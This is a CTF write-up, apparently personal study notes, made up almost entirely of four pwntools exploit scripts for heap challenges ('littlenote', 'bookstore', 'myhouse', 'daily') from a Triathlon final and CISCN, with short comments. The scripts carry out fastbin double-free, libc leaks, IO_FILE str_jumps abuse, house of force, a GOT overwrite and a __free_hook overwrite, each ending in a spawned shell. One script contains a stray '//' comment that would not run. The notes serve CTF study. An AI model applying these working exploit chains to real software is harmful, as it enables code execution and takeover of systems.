10.8 ~ 10.13
This four exercises contain Triathlon Finals last year and one exercise in CISCN
littlenote
UAF
from pwn import *
io=process('./littlenote')
def add(content):
io.sendline('1')
io.sendafter('e\n',content)
io.sendlineafter('?\n','Y')
io.recvuntil('e\n')
def show(index):
io.sendline('2')
io.sendlineafter('?\n',str(index))
return (io.recvuntil("\n"))[:-1]
def free(index):
io.sendline('3')
io.recvuntil('?\n')
io.sendline(str(index))
io.recvuntil('Done\n')
add('\x00'*0x58+p64(0x71))
add('1')
add(p64(0x0)*5+p64(0x41))#bypass
free(1)
free(0)
free(1)
heap_base=u64((show(0)).ljust(8,'\x00'))-0x70
print "heap_base -> " + hex(heap_base)
add(p64(heap_base+0x60))
add('1')
add('1')
add('\x00'*8+p64(0xA1))
free(1)
libc_base=u64((show(1)).ljust(8,'\x00'))-0x3C4B78
print "libc_base -> " + hex(libc_base)
one_gadget=libc_base+0xf02a4
print "one_gadget -> " + hex(one_gadget)
add('7') # 7
add('8') # 8
add('9') # 9
free(7)
free(8)
free(7)
point=libc_base+0x3c4af5-8
print "point -> " +hex(point)
add(p64(point)) # 10
add('b') # 11
add('c') # 12
add('a'*19+p64(one_gadget))
io.sendline('1')
io.recv()
io.interactive()
Seven-step homicide
free(1)
free(2)
feee(1)
malloc(3)
malloc(?)
malloc(?)
malloc(*****)
3
became *****
Because this exercise can only malloc(0x71) ,so we should use fastbin attack to modify the size to put the chunk we malloced into the unsortedbin to leak the libc.address
bookstore
Vulnerabilities in Self-Writing Functions
from pwn import *
env=os.environ
env['LD_PRELOAD']='./libc_64.so'
#context.log_level='debug'
r=process('./bookstore')
def add(author,size,cont):
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline(author)
r.recvuntil('How long is the book name?')
r.sendline(str(size))
r.recvuntil('What is the name of the book?')
r.sendline(cont)
def delete(idx):
r.recvuntil('Your choice:')
r.sendline('2')
r.recvuntil('?')
r.sendline(str(idx))
def show(idx):
r.recvuntil('Your choice:')
r.sendline('3')
r.recvuntil('?')
r.sendline(str(idx))
add('a'*0x10,0,'0'*0x10)#0
add('b'*0x10,0x40,'1'*0x10)#1
add('c'*0x10,0x40,'2'*0x10)#2
add('d'*0x10,0x40,'3'*0x10)#3
delete(0)
add('a'*0x10,0,'0'*0x18+p64(0xa1))#0
delete(1)
add('b',0,'1'*1)#1
show(1)
r.recvuntil('\x65\x3a')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print "lleak:"+hex(lleak)
lbase=lleak-0x3c4c31
sys=lbase+0x45390
sh=lbase+0x18cd17
#0x18cd57
iolistall=lbase+0x3c5520
strjumps=lbase+0x3c37a0
print "iolistall:"+hex(iolistall)
fire=p64(0)+p64(0x61)+p64(0)+p64(iolistall-0x10)+p64(0)+p64(1)+p64(0)+p64(sh)+p64(0)*19+p64(strjumps-8)
fire=fire.ljust(0xe8,'\x00')+p64(sys)
add('e',0,'\x00'*0x10+fire)#4
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline('test')
r.recvuntil('How long is the book name?')
r.sendline(str(0x40))
r.interactive()
used IO_FILE's strjumps
,but it’s not about modifying vtable
myhouse
Write any address to
\x00
from pwn import *
env=os.environ
#env['LD_PRELOAD']='./myhouse.so'
#context.log_level='debug'
libc=ELF('./myhouse.so')
r=process('./myhouse')
def addroom(size):
r.recvuntil('Your choice:\n')
r.sendline('1')
r.recvuntil('What is the size of your room?')
r.sendline(str(size))
def editroom(cont):
r.recvuntil('Your choice:')
r.sendline('2')
r.recvuntil('shining!')
r.send(cont)
def show():
r.recvuntil('Your choice:')
r.sendline('3')
#step 1:write '\x00' to main_arena's top_chunk pointer and set top's size
r.recvuntil('name?')
r.send('a'*0x20)
r.recvuntil('name of your house?')
r.send('b'*0xf8+p64(0xffffffffffffffff))
#gdb.attach(r)
r.recvuntil('size of your house?')
r.sendline(str(0x5c5b69))
r.recvuntil('Too large!')
r.sendline(str(0x200000))
r.recvuntil('Give me its description:')
r.send('c'*0x30)
#step 2:leak heap address
show()
r.recvuntil('a'*0x20)
heap=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "heap:"+hex(heap)
#step 3:house of force
bssp=0x6020c0
addroom(bssp-(heap+0xf0)-0x20)
addroom(0x10)
gdb.attach(r)
#step 4:leak GOT and change GOT
got_atoi=0x602058
editroom(p64(got_atoi)+p64(got_atoi))
#gdb.attach(r)
show()
r.recvuntil('And description:\n')
atoi=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "atoi:"+hex(atoi)
sys=atoi-libc.symbols['atoi']+libc.symbols['system']
editroom(p64(sys))
r.sendline('sh')
r.interactive()
daily
“Any address”
free
from pwn import *
p = process('./daily')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def show():
p.recvuntil('choice:')
p.sendline('1')
raw = p.recvuntil('===')[:-4]
return raw
def add(length , content):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('daily:')
p.sendline(str(length))
p.recvuntil('daily\n')
p.sendline(content)
def change(index , content):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('daily:')
p.sendline(str(index))
p.recvuntil('daily\n')
p.sendline(content)
def remove(index):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('daily:')
p.sendline(str(index))
for i in range(5):
add(0x80 , '\x00' * 0x5f)
remove(1)
remove(3)
add(0x80 , '')
libc.address = u64(show().split('1 : ')[1][:6].ljust(8 , '\x00')) - 0x3c4b0a
change(1 , 'abcdefgh')
heap_base = u64(show().split('abcdefgh')[1].split('2 :')[0].ljust(8 , '\x00')) - 0x10a
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('heap_base => ' + hex(heap_base))
success('free_hook => ' + hex(free_hook))
success('system_addr => ' + hex(system_addr))
remove(4)
remove(2)
remove(1)
remove(0)
add(0x30 , 'a' * 8 + p64(heap_base + 0x10))
offset = (heap_base - 0x602060) / 16 + 1
remove(offset)
add(0x41 , '\x00' * 0x40) //big problem
change(0 , p64(0x602068))
add(0x30 , '/bin/sh\x00')
gdb.attach(p)
add(0x30 , p64(free_hook))
gdb.attach(p)
change(1 , p64(system_addr))
remove(0)
p.interactive()
we can have a disguised UAF .By the way,big problem
first i think it’s nothing(means i can delete it),but in the fact ,it means it is a chunk(hahah)